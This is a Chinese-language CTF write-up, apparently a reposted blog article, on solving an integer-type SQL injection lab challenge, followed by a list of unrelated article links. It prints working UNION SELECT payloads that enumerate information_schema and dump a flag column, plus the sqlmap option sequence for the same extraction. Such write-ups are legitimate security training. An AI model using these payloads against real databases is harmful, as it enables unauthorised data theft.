当前位置: 首页 > article >正文

2025.1.15——六、SQL结构【❤sqlmap❤】

一、打开靶机,整理已知信息

        查看页面信息,提示”MySQL结构”,所以为sql注入,两种思路:①手工注入;②sqlmap

二、手工注入解题

step 1:查看注入类型

键入:1

键入:1'键入:1''

键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入

step 2:order by语句判断字段数

键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库名

1 and 1=2 union select database(),database() #

step 4:爆表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看

step 5:爆列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里

step 6:爆具体数据

1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag

三、sqlmap解题——四步走

step 1:--current-db

step 2:-D 数据库名 --tables

step 3:-D 数据库名 -T 表名 --columns

step4:-D 数据库名 -T 表名 -C 列名 --dump

得到flag。【sqlmap——YYDS】


http://www.kler.cn/a/506606.html

相关文章:

  • 【网络编程】基础知识
  • 细说STM32F407单片机窗口看门狗WWDG的原理及使用方法
  • C语言的数据库交互
  • systemverilog中type typedef的区别
  • 微信小程序订阅消息提醒-云函数
  • o3模型重大突破:引领推理语言模型新纪元,展望2025年AI发展新格局
  • 旋转编码器驱动-标准库和HAL库
  • Windows图形界面(GUI)-QT-C/C++ - Qt键盘与鼠标事件处理详解
  • 装饰器模式详解(附代码案例和源码分析)
  • phaserjs+typescript游戏开发之camera实现
  • SQL正则表达式用法大全以及如何利用正则表达式处理复杂数据
  • DCU异构程序--矩阵乘
  • mysql zabbix监控方法
  • JAVA:责任链模式(Chain of Responsibility Pattern)的技术指南
  • 基于springboot的rmi远程调用
  • API调用过程中遇到错误的解决方案
  • 清除前端缓存的方式
  • OpenCV相机标定与3D重建(54)解决透视 n 点问题(Perspective-n-Point, PnP)函数solvePnP()的使用
  • python助力WRF自动化运行
  • JavaEE之常见的锁策略
  • Linux 音视频入门到实战专栏(音频篇)基于alsa api的音频播放/录制流程
  • 2024年细讲前端工程化 万字总结!!
  • D3.js及实例应用
  • Apache搭建https服务器
  • Windows上安装和配置Tabby终端工具并实现远程ssh连接内网服务器
  • C#中字符串方法